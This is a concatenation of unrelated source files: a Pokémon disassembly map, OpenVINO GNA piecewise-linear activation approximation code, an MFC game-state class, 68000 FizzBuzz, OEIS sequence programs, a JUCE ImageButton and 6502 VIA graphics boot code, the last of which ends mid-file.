RUINS_OF_ALPH_AERODACTYL_ITEM_ROOM, 1 db 0 ; coord events db 6 ; bg events bg_event 2, 3, BGEVENT_READ, RuinsOfAlphAerodactylChamberAncientReplica bg_event 5, 3, BGEVENT_READ, RuinsOfAlphAerodactylChamberAncientReplica bg_event 3, 2, BGEVENT_UP, RuinsOfAlphAerodactylChamberPuzzle bg_event 4, 2, BGEVENT_UP, RuinsOfAlphAerodactylChamberDescriptionSign bg_event 3, 0, BGEVENT_UP, RuinsOfAlphAerodactylChamberWallPatternLeft bg_event 4, 0, BGEVENT_UP, RuinsOfAlphAerodactylChamberWallPatternRight db 0 ; object events
// Copyright (C) 2022 Intel Corporation // SPDX-License-Identifier: Apache-2.0 // #include "ops/util/util.hpp" #include "pwl_approximation.hpp" #include "transformations/utils/utils.hpp" #include "ops/pwl.hpp" #include "ops/reference/pwl.hpp" #include <memory> #include <vector> #include <numeric> #include <iostream> #include <openvino/cc/ngraph/itt.hpp> #include <ngraph/rt_info.hpp> #include <ngraph/pattern/op/wrap_type.hpp> #include <ngraph/pattern/op/or.hpp> #include "gna_plugin_log.hpp" static constexpr double EXP_BREAK = 0.045; namespace GNAPluginNS { NGRAPH_RTTI_DEFINITION(PWLApproximation, "PWLApproximation", 0); NGRAPH_RTTI_DEFINITION(PWLApproximationWithFq, "PWLApproximationWithFq", 0); template<typename T> double get_break_bound() { if (std::is_same<T, ngraph::opset8::Exp>::value) { return EXP_BREAK; } return 0; } template<typename T> bool split_search(double lower_bound, double upper_bound) { if (lower_bound > upper_bound) { return false; } double break_bound = get_break_bound<T>(); if (std::is_same<T, ngraph::opset8::Sigmoid>::value || std::is_same<T, ngraph::opset8::Tanh>::value || std::is_same<T, ov::intel_gna::op::SoftSign>::value || std::is_same<T, ngraph::opset8::Exp>::value || std::is_same<T, ngraph::opset8::Power>::value) { return lower_bound < break_bound && upper_bound > break_bound; } return false; } template <typename T> double pivot_search(const details::Function<T>& activation_function, std::vector<details::Pwl>& result, uint32_t N, double alpha_0, double alpha_N, bool negative, double max_error, double threshold = 0.1) { std::vector<std::vector<double>> t(N + 1); std::vector<std::vector<double>> alpha(N + 1); std::vector<std::vector<double>> epsilon(N + 1); std::vector<std::vector<double>> d(N + 1); bool same_epsilon = false; double Delta; double epsilon_final = 0.0; double max_epsilon = 0.0; double max_epsilon_prev; double min_epsilon; double sgn = (negative) ? -1.0 : 1.0; int j; // Figure 4: Box #1 j = 0; Delta = 1.0; for (int i = 0; i < N; i++) { t[i].push_back(alpha_0 + (static_cast<double>((i + 1)) / static_cast<double>((N + 1))) * (alpha_N - alpha_0)); } while (true) { // Figure 4: Box #2 alpha[0].resize(j + 1); alpha[0][j] = alpha_0; for (int i = 1; i < N; i++) { alpha[i].resize(j + 1); alpha[i][j] = (activation_function.get_value(t[i - 1][j]) - activation_function.get_value(t[i][j]) + activation_function.first_derivative(t[i][j]) * t[i][j] - activation_function.first_derivative(t[i - 1][j]) * t[i - 1][j]) / (activation_function.first_derivative(t[i][j]) - activation_function.first_derivative(t[i - 1][j])); } alpha[N].resize(j + 1); alpha[N][j] = alpha_N; // Figure 4: Box #3 for (int i = 0; i < N; i++) { epsilon[i].resize(j + 1); epsilon[i][j] = sgn * (activation_function.first_derivative(t[i][j]) * (alpha[i][j] - t[i][j]) + activation_function.get_value(t[i][j]) - activation_function.get_value(alpha[i][j])); if (std::isnan(epsilon[i][j])) { throw std::runtime_error("The value is out of range."); } } epsilon[N].resize(j + 1); epsilon[N][j] = sgn * (activation_function.first_derivative(t[N - 1][j]) * (alpha[N][j] - t[N - 1][j]) + activation_function.get_value(t[N - 1][j]) - activation_function.get_value(alpha[N][j])); if (std::isnan(epsilon[N][j])) { throw std::runtime_error("The value is out of range."); } // Figure 4: Test for completion max_epsilon_prev = max_epsilon; max_epsilon = std::fabs(epsilon[0][j]); min_epsilon = std::fabs(epsilon[0][j]); for (int i = 1; i < N + 1; i++) { if (std::fabs(epsilon[i][j]) > max_epsilon) max_epsilon = std::fabs(epsilon[i][j]); if (std::fabs(epsilon[i][j]) < min_epsilon) min_epsilon = std::fabs(epsilon[i][j]); } if (j == details::max_iterations<T>() || max_epsilon - min_epsilon < threshold * min_epsilon) { details::Pwl value; result.resize(0); epsilon_final = (max_epsilon + min_epsilon) / 4.0; // Andrzej's modification for (int i = 0; i < N; i++) { value.alpha = alpha[i][j]; value.beta = sgn * activation_function.first_derivative(t[i][j]) * (value.alpha - t[i][j]) + sgn * activation_function.get_value(t[i][j]) - epsilon_final; value.m = sgn * activation_function.first_derivative(t[i][j]); value.b = value.beta - value.m * value.alpha; result.push_back(value); } result.emplace_back( 0, 0, alpha[N][j], sgn * activation_function.first_derivative(t[N - 1][j]) * (alpha[N][j] - t[N - 1][j]) + sgn * activation_function.get_value(t[N - 1][j]) - epsilon_final); if (j == details::max_iterations<T>()) { throw std::runtime_error("Failed to converge in pivot_search!"); } return (epsilon_final); } if (j > 0) { if (max_epsilon > max_epsilon_prev) { j = j - 1; Delta = Delta / 2; } else if (max_epsilon == max_epsilon_prev) { if (!same_epsilon) { same_epsilon = true; } else { j = j - 1; Delta = Delta / 2; same_epsilon = false; } } } // Figure 4: Box #4 for (int i = 0; i < N; i++) { d[i].resize(j + 1); d[i][j] = Delta * (epsilon[i + 1][j] - epsilon[i][j]) / ((epsilon[i + 1][j] / (alpha[i + 1][j] - t[i][j])) + (epsilon[i][j] / (t[i][j] - alpha[i][j]))); } // Figure 4: Box #5 for (int i = 0; i < N; i++) { t[i].resize(j + 2); t[i][j + 1] = t[i][j] + d[i][j]; } t[N].resize(j + 2); j = j + 1; } } template<typename T> double calculate_error_pct(const details::Function<T>& activation_function, const std::vector<details::Pwl>& segments, double lower_bound, double upper_bound, const double offset, bool negative, int samples = 500) { double delta = (upper_bound - lower_bound) / (samples + 1); if (delta < 0) { return 0.0; } double min_val = activation_function.get_value(lower_bound); double max_val = activation_function.get_value(lower_bound); for (int i = 0; i < samples; i++) { double arg = lower_bound + i * delta; double val = activation_function.get_value(arg); if (val > max_val) max_val = val; if (val < min_val) min_val = val; } double max_err = (100.0 * std::fabs(offset) / (max_val - min_val)); return max_err; } template<typename T> bool is_negative(const details::Function<T>& activation_function, double upper_bound) { if (std::is_same<T, ngraph::opset8::Sigmoid>::value || std::is_same<T, ngraph::opset8::Tanh>::value || std::is_same<T, ov::intel_gna::op::SoftSign>::value) { return upper_bound == 0; } if (std::is_same<T, ngraph::opset8::Exp>::value) { return true; } return false; } template<> bool is_negative<ngraph::opset8::Power>(const details::Function<ngraph::opset8::Power>& activation_function, double upper_bound) { return std::fmod(activation_function.m_exponent, 1.0) == 0; } template<typename T> std::vector<details::Pwl> pwl_search(const details::Function<T>& activation_function, double lower_bound, double upper_bound, double allowed_err_pct, double& err_pct) { std::vector<details::Pwl> pwl; if (lower_bound > upper_bound) { return pwl; } if (split_search<T>(lower_bound, upper_bound)) { auto negative_pwl = [](std::vector<details::Pwl>& data) { for (auto& e : data) { e.m = -e.m; e.b = -e.b; e.beta = -e.beta; } }; double err_pct1 = 0.0; double err_pct2 = 0.0; double break_bound = get_break_bound<T>(); pwl = pwl_search<T>(activation_function, lower_bound, break_bound, allowed_err_pct, err_pct1); negative_pwl(pwl); std::vector<details::Pwl> pwl2 = pwl_search<T>(activation_function, break_bound, upper_bound, allowed_err_pct, err_pct2); if (std::is_same<T, ngraph::opset8::Exp>::value || std::is_same<T, ngraph::opset8::Power>::value) { negative_pwl(pwl2); } // merge if (!pwl.empty()) pwl.pop_back(); // remove final alpha from first half pwl.insert(pwl.end(), pwl2.begin(), pwl2.end()); // concatenate the two halves err_pct = (err_pct1 + err_pct2) / 2; // this is not quite correct but should give an indication } else { int segments_number = 1; bool negative = is_negative<T>(activation_function, upper_bound); auto err = pivot_search<T>(activation_function, pwl, segments_number, lower_bound, upper_bound, negative, allowed_err_pct); err_pct = calculate_error_pct<T>(activation_function, pwl, lower_bound, upper_bound, err, negative); while (segments_number < details::max_segments_number<T>() && allowed_err_pct < err_pct) { segments_number++; err = pivot_search<T>(activation_function, pwl, segments_number, lower_bound, upper_bound, negative, allowed_err_pct); err_pct = calculate_error_pct<T>(activation_function, pwl, lower_bound, upper_bound, err, negative); } if (segments_number >= details::max_segments_number<T>()) { throw std::runtime_error("Failed to converge in pwl_search!"); } } return pwl; } template<typename T> std::pair<double, double> get_bounds(const std::shared_ptr<ngraph::Node>& fake_quantize) { auto fq = std::dynamic_pointer_cast<ngraph::opset8::FakeQuantize>(fake_quantize); auto lower_bound = details::lower_bound<T>(); auto upper_bound = details::upper_bound<T>(); if (fq) { auto input_low = std::dynamic_pointer_cast<ngraph::opset8::Constant>(fq->get_input_node_shared_ptr(1)); auto input_high = std::dynamic_pointer_cast<ngraph::opset8::Constant>(fq->get_input_node_shared_ptr(2)); if (!ngraph_util::get_constant_value(input_low, lower_bound) || !ngraph_util::get_constant_value(input_high, upper_bound)) { throw std::runtime_error("The unsupported type of element."); } auto abs_max = std::max(std::fabs(std::min(lower_bound, upper_bound) * 1.25), std::fabs(std::max(lower_bound, upper_bound) * 1.25)); lower_bound = abs_max < std::fabs(details::lower_bound<T>()) ? -abs_max : details::lower_bound<T>(); upper_bound = abs_max < std::fabs(details::upper_bound<T>()) ? abs_max : details::upper_bound<T>(); } return std::make_pair(lower_bound, upper_bound); } template<> std::pair<double, double> get_bounds<ngraph::opset8::Log>(const std::shared_ptr<ngraph::Node>& fake_quantize) { return std::make_pair(details::lower_bound<ngraph::opset8::Log>(), details::upper_bound<ngraph::opset8::Log>()); } template<typename T> bool pwl_search(const std::shared_ptr<T>& node, const std::shared_ptr<ngraph::Node>& fake_quantize, double allowed_err_pct, double& err_pct, std::vector<details::Pwl>& segments) { double lower_bound = 0; double upper_bound = 0; std::tie(lower_bound, upper_bound) = get_bounds<T>(fake_quantize); segments = pwl_search<T>(details::Function<T>(), lower_bound, upper_bound, allowed_err_pct, err_pct); if (segments.size() <= 2) { return false; } if (segments.front().beta < details::Function<T>::min_value()) { segments.front().alpha += (details::Function<T>::min_value() - segments.front().beta) / segments.front().m; } segments.insert(segments.begin(), {0, std::max(segments.front().beta, details::Function<T>::min_value()), -std::numeric_limits<double>::infinity()}); if (segments.back().beta > details::Function<T>::max_value()) { segments.back().alpha += (details::Function<T>::max_value() - segments.back().beta) / segments.at(segments.size() - 2).m; } segments.back().b = std::min(segments.back().beta, details::Function<T>::max_value()); segments.push_back({0, 0, std::numeric_limits<double>::infinity()}); return true; } static bool pwl_search_power(const std::shared_ptr<ngraph::Node>& node, double exponent, double scale, double offset, const std::shared_ptr<ngraph::Node>& fake_quantize, double allowed_err_pct, double& err_pct, std::vector<details::Pwl>& segments) { auto fq = std::dynamic_pointer_cast<ngraph::opset8::FakeQuantize>(fake_quantize); auto lower_bound = details::lower_bound<ngraph::opset8::Power>(exponent); auto upper_bound = details::upper_bound<ngraph::opset8::Power>(); if (fq) { auto output_low = std::dynamic_pointer_cast<ngraph::opset8::Constant>(fq->get_input_node_shared_ptr(1)); auto output_high = std::dynamic_pointer_cast<ngraph::opset8::Constant>(fq->get_input_node_shared_ptr(2)); if (!ngraph_util::get_constant_value(output_low, lower_bound) || !ngraph_util::get_constant_value(output_high, upper_bound)) { throw std::runtime_error("The unsupported type of element."); } } if (details::are_floats_equal(exponent, 1.0)) { // An affine primitive will be used in this case. return false; } else if (details::are_floats_equal(exponent, 0.0)) { segments.emplace_back(0, 1, -std::numeric_limits<double>::infinity()); segments.emplace_back(0, 1, std::numeric_limits<double>::infinity()); segments.emplace_back(0, 0, std::numeric_limits<double>::infinity()); return true; } segments = pwl_search<ngraph::opset8::Power>(details::Function<ngraph::opset8::Power>(exponent, scale, offset), lower_bound, upper_bound, allowed_err_pct > 0.015 ? 0.015 : allowed_err_pct, err_pct); if (segments.size() <= 2) { return false; } segments.insert(segments.begin(), { 0, segments.front().beta, details::are_floats_equal(fmod(exponent, 1.0), 0.0f) ? -std::numeric_limits<double>::infinity() : 0}); segments.back().b = segments.back().beta; segments.push_back({0, 0, std::numeric_limits<double>::infinity()}); return true; } template<> bool pwl_search<ngraph::opset8::Power>(const std::shared_ptr<ngraph::opset8::Power>& node, const std::shared_ptr<ngraph::Node>& fake_quantize, double allowed_err_pct, double& err_pct, std::vector<details::Pwl>& segments) { auto constant = std::dynamic_pointer_cast<ngraph::opset8::Constant>(node->get_input_node_shared_ptr(1)); double exponent = 0; if (!ngraph_util::get_constant_value(constant, exponent)) { throw std::runtime_error("The unsupported type of element."); } return pwl_search_power(node, exponent, 1, 0, fake_quantize, allowed_err_pct, err_pct, segments); } template<> bool pwl_search<ngraph::op::PowerIE>(const std::shared_ptr<ngraph::op::PowerIE>& node, const std::shared_ptr<ngraph::Node>& fake_quantize, double allowed_err_pct, double& err_pct, std::vector<details::Pwl>& segments) { auto power = std::dynamic_pointer_cast<ngraph::op::PowerIE>(node); return pwl_search_power(node, power->power, power->scale, power->shift, fake_quantize, allowed_err_pct, err_pct, segments); } template<typename T> bool transform_to_pwl( const std::shared_ptr<ngraph::Node>& fake_quantize, const std::shared_ptr<T>& node, double allowed_err_pct) { double err_pct = 0; std::vector<details::Pwl> segments; if (!pwl_search<T>(node, fake_quantize, allowed_err_pct, err_pct, segments)) { return false; } std::vector<double> m(segments.size() - 1); std::vector<double> b(segments.size() - 1); std::vector<double> alpha(segments.size()); for (size_t i = 0; i < segments.size() - 1; i++) { m[i] = segments[i].m; b[i] = segments[i].b; alpha[i] = segments[i].alpha; } alpha[segments.size() - 1] = segments[segments.size() - 1].alpha; auto m_constant = std::make_shared<ngraph::opset8::Constant>(ngraph::element::Type_t::f64, ngraph::Shape{segments.size() - 1}, m); m_constant->set_friendly_name(node->get_friendly_name() + "/pwl_slope"); auto b_constant = std::make_shared<ngraph::opset8::Constant>(ngraph::element::Type_t::f64, ngraph::Shape{segments.size() - 1}, b); b_constant->set_friendly_name(node->get_friendly_name() + "/pwl_offset"); auto alpha_constant = std::make_shared<ngraph::opset8::Constant>(ngraph::element::Type_t::f64, ngraph::Shape{segments.size()}, alpha); alpha_constant->set_friendly_name(node->get_friendly_name() + "/pwl_alpha"); auto pwl = std::make_shared<ov::intel_gna::op::Pwl>( fake_quantize ? fake_quantize : node->input_value(0), m_constant, b_constant, alpha_constant); pwl->set_base_node(node); pwl->set_friendly_name(node->get_friendly_name()); ngraph::copy_runtime_info(node, pwl); replace_node(node, pwl); return true; } static bool transform_to_pwl(std::tuple<>&&, const std::shared_ptr<ngraph::Node>&, const std::shared_ptr<ngraph::Node>&, double) { return false; } template<typename T, typename ...Types> static bool transform_to_pwl(std::tuple<T, Types...>&&, const std::shared_ptr<ngraph::Node>& fake_quantize, const std::shared_ptr<ngraph::Node>& node, double allowed_err_pct) { auto op = std::dynamic_pointer_cast<T>(node); if (op) { return transform_to_pwl(fake_quantize, op, allowed_err_pct); } return transform_to_pwl(std::tuple<Types...>(), fake_quantize, node, allowed_err_pct); } static std::shared_ptr<ngraph::pattern::Matcher> create_matcher(ov::graph_rewrite_callback& handler_callback, double allowed_err_pct, const std::string& matcher_name, bool fq) { auto activation_input = ngraph::pattern::any_input(); auto fake_quantize = ngraph::pattern::wrap_type<ngraph::opset8::FakeQuantize>({ngraph::pattern::any_input(), ngraph::pattern::any_input(), ngraph::pattern::any_input(), ngraph::pattern::any_input(), ngraph::pattern::any_input()}); if (fq) activation_input = fake_quantize; auto sigmoid = ngraph::pattern::wrap_type<ngraph::opset8::Sigmoid>({activation_input}); auto tanh = ngraph::pattern::wrap_type<ngraph::opset8::Tanh>({activation_input}); auto exp = ngraph::pattern::wrap_type<ngraph::opset8::Exp>({activation_input}); auto power = ngraph::pattern::wrap_type<ngraph::opset8::Power>({activation_input, ngraph::pattern::any_input(), ngraph::pattern::any_input() }); auto powerIE = ngraph::pattern::wrap_type<ngraph::op::PowerIE>({activation_input}); auto log = ngraph::pattern::wrap_type<ngraph::opset8::Log>({activation_input}); auto softsign = ngraph::pattern::wrap_type<ov::intel_gna::op::SoftSign>({activation_input}); auto activation_function = std::make_shared<ngraph::pattern::op::Or>(ov::OutputVector{ sigmoid, tanh, exp, power, powerIE, log, softsign }); auto callback = [=](ngraph::pattern::Matcher & m) -> bool { const auto& pattern_to_output = m.get_pattern_value_map(); auto iter = pattern_to_output.find(sigmoid); if (iter == pattern_to_output.end() && (iter = pattern_to_output.find(tanh)) == pattern_to_output.end() && (iter = pattern_to_output.find(exp)) == pattern_to_output.end() && (iter = pattern_to_output.find(power)) == pattern_to_output.end() && (iter = pattern_to_output.find(powerIE)) == pattern_to_output.end() && (iter = pattern_to_output.find(log)) == pattern_to_output.end() && (iter = pattern_to_output.find(softsign)) == pattern_to_output.end()) { return false; } auto fake_quantize_iter = pattern_to_output.find(fake_quantize); return transform_to_pwl( std::tuple< ngraph::opset8::Sigmoid, ngraph::opset8::Tanh, ngraph::opset8::Exp, ngraph::opset8::Power, ngraph::op::PowerIE, ngraph::opset8::Log, ov::intel_gna::op::SoftSign>(), fake_quantize_iter != pattern_to_output.end() ? fake_quantize_iter->second.get_node_shared_ptr() : std::shared_ptr<ngraph::Node>(), iter->second.get_node_shared_ptr(), allowed_err_pct); }; handler_callback = callback; return std::make_shared<ngraph::pattern::Matcher>(activation_function, matcher_name); } PWLApproximation::PWLApproximation(double allowed_err_pct) { MATCHER_SCOPE(PWLApproximation); ov::graph_rewrite_callback callback; auto m = create_matcher(callback, allowed_err_pct, matcher_name, false); register_matcher(m, callback); } PWLApproximationWithFq::PWLApproximationWithFq(double allowed_err_pct) { MATCHER_SCOPE(PWLApproximationWithFq); ov::graph_rewrite_callback callback; auto m = create_matcher(callback, allowed_err_pct, matcher_name, true); register_matcher(m, callback); } } // namespace GNAPluginNS
// PTGameInfo.cpp: implementation of the CPTGameInfo class. // ////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include "PT.h" #include "PTGameInfo.h" #ifdef _DEBUG #undef THIS_FILE static char THIS_FILE[]=__FILE__; #define new DEBUG_NEW #endif ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// CPTGameInfo::CPTGameInfo() { m_nLevel=1; m_bInGame=FALSE; m_bNewLevel=TRUE; m_lGunPos=3.14/2; //loodrecht naar boven (pi/2 rad) SetPoints(0); m_nLifes=0; m_bLifesChanged=TRUE; m_bCanShoot=TRUE; m_strLevelStart=" here we go"; m_nLeftLanded=0; m_nRightLanded=0; } CPTGameInfo::~CPTGameInfo() { } void CPTGameInfo::AddPoints(int points) { m_nPoints=m_nPoints+points; if (m_nPoints<0) m_nPoints=0; } int CPTGameInfo::GetPoints() const { return m_nPoints; } void CPTGameInfo::SetLevel(int lvl) { m_nLevel=lvl; m_bNewLevel=TRUE; if(m_nLevel<0) { CString cstr; cstr.Format("Trying to load incorrect level! Level set to 1"); AfxMessageBox(cstr); m_nLevel=1; } } int CPTGameInfo::GetLevel() const { return m_nLevel; } int CPTGameInfo::GetLifes() const { return m_nLifes; } void CPTGameInfo::SetLifes(int lifes) { m_nLifes=lifes; if(m_nLifes<0) { //Trying to load incorrect lifes! Lifes set to 0 m_nLifes=1; } } void CPTGameInfo::AddLifes(int lifes) { m_nLifes=m_nLifes+lifes; } void CPTGameInfo::SetPoints(int points) { m_nPoints=points; } CPTGameInfo& CPTGameInfo::operator=(const CPTGameInfo obj2) { m_bCanShoot=obj2.m_bCanShoot; m_nLifes=obj2.m_nLifes; m_bCanShoot=obj2.m_bCanShoot; m_bLifesChanged=obj2.m_bLifesChanged; m_lGunPos=obj2.m_lGunPos; m_bInGame=obj2.m_bInGame; m_bNewLevel=obj2.m_bNewLevel; m_nLeftLanded=obj2.m_nLeftLanded; m_nRightLanded=obj2.m_nRightLanded; return *this; }
; vim:noet:sw=8:ts=8:sts=8:ai:syn=asm68k ; ; Naive implementation of FizzBuzz. (uses DIVU instruction) include "68000app.inc" start: sys WaitBtn moveq #1,d3 ; counter .loop: moveq #0,d2 ; flag ; compute modulo 3 move.l d3,d0 divu.w #3,d0 swap d0 ; ignore quotient, get remainder tst.w d0 bne .1 ; don't print "Fizz" if remainder is nonzero litstr "Fizz" sys OutStr addq.w #1,d2 ; set flag .1: ; compute modulo 5 move.l d3,d0 divu.w #5,d0 swap d0 ; ignore quotient, get remainder tst.w d0 bne .2 ; don't print "Buzz" if remainder is nonzero litstr "Buzz" sys OutStr addq #1,d2 ; set flag .2: ; if flag not set, print value as decimal tst.w d2 bne .3 move.w d3,-(sp) litstr FMT_U16,0 sys OutFmt addq #2,sp .3: moveq #$0a,d0 ; print newline sys OutChar addq #1,d3 led_tgl move.l #$40000,d0 bsr delay bra .loop ; delay by number of loop iterations in d0 (32-bit) delay: subq.l #1,d0 bne delay rts
/* * Copyright 2017 Yuji Ito <llamerada.jp@gmail.com> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "module_1d.hpp" namespace colonio { Module1DDelegate::~Module1DDelegate() { } Module1D::Module1D(ModuleParam& param, Module1DDelegate& module_1d_delegate, Channel::Type channel) : ModuleBase(param, channel), delegate(module_1d_delegate) { } bool Module1D::module_1d_check_covered_range(const NodeID& nid) { return delegate.module_1d_do_check_covered_range(*this, nid); } } // namespace colonio
; A270257: Number of 2X2X2 triangular 0..n arrays with some element plus some adjacent element totalling n exactly once. ; 0,12,24,48,72,108,144,192,240,300,360,432,504,588,672,768,864,972,1080,1200,1320,1452,1584,1728,1872,2028,2184,2352,2520,2700,2880,3072,3264,3468,3672,3888,4104,4332,4560,4800,5040,5292,5544,5808,6072,6348,6624,6912,7200,7500,7800,8112,8424,8748,9072,9408,9744,10092,10440,10800,11160,11532,11904,12288,12672,13068,13464,13872,14280,14700,15120,15552,15984,16428,16872,17328,17784,18252,18720,19200,19680,20172,20664,21168,21672,22188,22704,23232,23760,24300,24840,25392,25944,26508,27072,27648 add $0,1 pow $0,2 div $0,2 mul $0,6
/* ============================================================================== This file is part of the JUCE library. Copyright (c) 2017 - ROLI Ltd. JUCE is an open source library subject to commercial or open-source licensing. By using JUCE, you agree to the terms of both the JUCE 5 End-User License Agreement and JUCE 5 Privacy Policy (both updated and effective as of the 27th April 2017). End User License Agreement: www.juce.com/juce-5-licence Privacy Policy: www.juce.com/juce-5-privacy-policy Or: You may also use this code under the terms of the GPL v3 (see www.gnu.org/licenses). JUCE IS PROVIDED "AS IS" WITHOUT ANY WARRANTY, AND ALL WARRANTIES, WHETHER EXPRESSED OR IMPLIED, INCLUDING MERCHANTABILITY AND FITNESS FOR PURPOSE, ARE DISCLAIMED. ============================================================================== */ namespace juce { ImageButton::ImageButton (const String& text_) : Button (text_), scaleImageToFit (true), preserveProportions (true), alphaThreshold (0) { } ImageButton::~ImageButton() { } void ImageButton::setImages (const bool resizeButtonNowToFitThisImage, const bool rescaleImagesWhenButtonSizeChanges, const bool preserveImageProportions, const Image& normalImage_, const float imageOpacityWhenNormal, Colour overlayColourWhenNormal, const Image& overImage_, const float imageOpacityWhenOver, Colour overlayColourWhenOver, const Image& downImage_, const float imageOpacityWhenDown, Colour overlayColourWhenDown, const float hitTestAlphaThreshold) { normalImage = normalImage_; overImage = overImage_; downImage = downImage_; if (resizeButtonNowToFitThisImage && normalImage.isValid()) { imageBounds.setSize (normalImage.getWidth(), normalImage.getHeight()); setSize (imageBounds.getWidth(), imageBounds.getHeight()); } scaleImageToFit = rescaleImagesWhenButtonSizeChanges; preserveProportions = preserveImageProportions; normalOpacity = imageOpacityWhenNormal; normalOverlay = overlayColourWhenNormal; overOpacity = imageOpacityWhenOver; overOverlay = overlayColourWhenOver; downOpacity = imageOpacityWhenDown; downOverlay = overlayColourWhenDown; alphaThreshold = (uint8) jlimit (0, 0xff, roundToInt (255.0f * hitTestAlphaThreshold)); repaint(); } Image ImageButton::getCurrentImage() const { if (isDown() || getToggleState()) return getDownImage(); if (isOver()) return getOverImage(); return getNormalImage(); } Image ImageButton::getNormalImage() const { return normalImage; } Image ImageButton::getOverImage() const { return overImage.isValid() ? overImage : normalImage; } Image ImageButton::getDownImage() const { return downImage.isValid() ? downImage : getOverImage(); } void ImageButton::paintButton (Graphics& g, bool isMouseOverButton, bool isButtonDown) { if (! isEnabled()) { isMouseOverButton = false; isButtonDown = false; } Image im (getCurrentImage()); if (im.isValid()) { const int iw = im.getWidth(); const int ih = im.getHeight(); int w = getWidth(); int h = getHeight(); int x = (w - iw) / 2; int y = (h - ih) / 2; if (scaleImageToFit) { if (preserveProportions) { int newW, newH; const float imRatio = ih / (float) iw; const float destRatio = h / (float) w; if (imRatio > destRatio) { newW = roundToInt (h / imRatio); newH = h; } else { newW = w; newH = roundToInt (w * imRatio); } x = (w - newW) / 2; y = (h - newH) / 2; w = newW; h = newH; } else { x = 0; y = 0; } } if (! scaleImageToFit) { w = iw; h = ih; } imageBounds.setBounds (x, y, w, h); const bool useDownImage = isButtonDown || getToggleState(); getLookAndFeel().drawImageButton (g, &im, x, y, w, h, useDownImage ? downOverlay : (isMouseOverButton ? overOverlay : normalOverlay), useDownImage ? downOpacity : (isMouseOverButton ? overOpacity : normalOpacity), *this); } } bool ImageButton::hitTest (int x, int y) { if (! Component::hitTest (x, y)) // handle setInterceptsMouseClicks return false; if (alphaThreshold == 0) return true; Image im (getCurrentImage()); return im.isNull() || ((! imageBounds.isEmpty()) && alphaThreshold < im.getPixelAt (((x - imageBounds.getX()) * im.getWidth()) / imageBounds.getWidth(), ((y - imageBounds.getY()) * im.getHeight()) / imageBounds.getHeight()).getAlpha()); } } // namespace juce
; A100287: First occurrence of n in A100002; the least k such that A100002(k) = n. ; 1,2,5,9,15,25,31,43,61,67,87,103,123,139,169,183,219,241,259,301,331,361,391,447,463,511,553,589,643,687,723,783,819,867,931,979,1027,1099,1179,1227,1309,1347,1393,1479,1539,1603,1699,1759,1863,1909,2019,2029,2163,2263,2311,2439,2527,2559,2707,2779,2851,2979,3073,3159,3207,3373,3447,3553,3691,3819,3883,3987,4123,4239,4347,4429,4621,4681,4843,4899,5149,5173,5329,5539,5563,5763,5893,6013,6121,6283,6399,6579,6723,6859,6939,7201,7309,7419,7683,7743,7951,8029,8311,8403,8593,8743,8907,9091,9279,9363,9643,9723,9913,10119,10183,10587,10633,10767,11007,11293,11343,11563,11773,11943,12199,12327,12541,12703,13081,13143,13351,13543,13863,13909,14247,14407,14509,14893,14979,15303,15511,15663,15931,16213,16299,16723,16909,17041,17223,17559,17823,18027,18253,18459,18811,19009,19119,19489,19879,19987,20199,20491,20671,20967,21279,21507,21811,22023,22201,22687,22789,22903,23413,23707,23773,24243,24483,24759,25153,25339,25459,25887,26059,26461,26773,27003,27303,27547,28111,28179,28369,28839,29089,29419,29701,29869,30363,30571,30927,31273,31587,31771,32083,32679,32773,33207,33403,33871,34129,34411,34779,35041,35319,35923,35967,36589,36747,37047,37669,37803,38269,38509,38881,39199,39721,39949,40321,40489,40993,41499,41679,42019,42447,42841,43153,43741,43921,44239,44559,45229,45469,45709,46267,46479,46813,47551,47727,48063,48639,48769 mov $1,1 mov $2,$0 lpb $2,1 lpb $1,1 trn $1,$2 add $3,$2 lpe add $3,$2 mov $1,$3 sub $2,1 mov $3,0 lpe
VIA1_RB = $9000 ; VIA used for the graphics and keyboard systems. VIA1_RA = $9001 ; RB = GFX Data, RA = keyboard data. VIA1_DDRB = $9002 ; Data Direction Register - 1 = output, 0 = input VIA1_DDRA = $9003 VIA1_T1CL = $9004 VIA1_T1CH = $9005 VIA1_T1LL = $9006 VIA1_T1LH = $9007 VIA1_T2CL = $9008 VIA1_T2CH = $9009 VIA1_SR = $900A VIA1_ACR = $900B VIA1_PCR = $900C VIA1_IFR = $900D VIA1_IER = $900E VIA1_RA2 = $900F ; $0000 - page 0 (used for temp variables) ; $0100 - stack page ; $0200 - leaving open (needed for EhBASIC) gfxCmdBufferPage = $0300 ; 0300 - 03FF (must be page-aligned) gfxCmdBufferTop = $0400 gfxCmdBufferBottom = $0401 .org $C000 reset: ldx #$FF ; Initialize stack pointer txs sei ; disable IRQ cld ; disable decimal mode ;stz VIA1_DDRA ; keyboard input bus all inputs ;lda #%00001000 ;sta VIA1_PCR ; setup keyboard handshake ;lda #%01111111 ;sta VIA1_IER ; disable VIA2 interrupts ;lda #%10000010 ;sta VIA1_IER ; enable keyboard interrupt lda #%11111111 sta VIA1_DDRB ; DDRB (graphics bus) all outputs lda #%10001100 sta VIA1_PCR ; setup graphics handshake lda #%01111111 sta VIA1_IER ; disable all via interrupts lda #%10010000 sta VIA1_IER ; Enable graphics ready interrupt ldy #$FF ; wait for graphics card to start up jsr delay stz gfxCmdBufferTop stz gfxCmdBufferBottom cli ; now that the VIA IRQs are set up, we can enable IRQ lda #0 jsr sendGfxCommand ; clear the screen (multiple times in case there's a gfx command in progress) lda #$FF ; Initialize graphics interrupt sta VIA1_RB lda #0 jsr sendGfxCommand ; clear the screen (multiple times in case there's a gfx command in progress) lda #0 jsr sendGfxCommand ; clear the screen (multiple times in case there's a gfx command in progress) lda #0 jsr sendGfxCommand ; clear the screen (multiple times in case there's a gfx command in progress) lda #$2B jsr sendGfxCommand ; clear sprites lda #4 jsr sendGfxCommand ; set foreground colour lda #7 jsr sendGfxCommand ; to white lda #5 jsr sendGfxCommand ; set background colour lda #0 jsr sendGfxCommand ; to black lda #6 jsr sendGfxCommand ; enable cursor lda #startString & $FF sta $00 lda #startString >> 8 sta $01 jsr printstring infloop: jsr printstring bra infloop ; Delay for a while ; 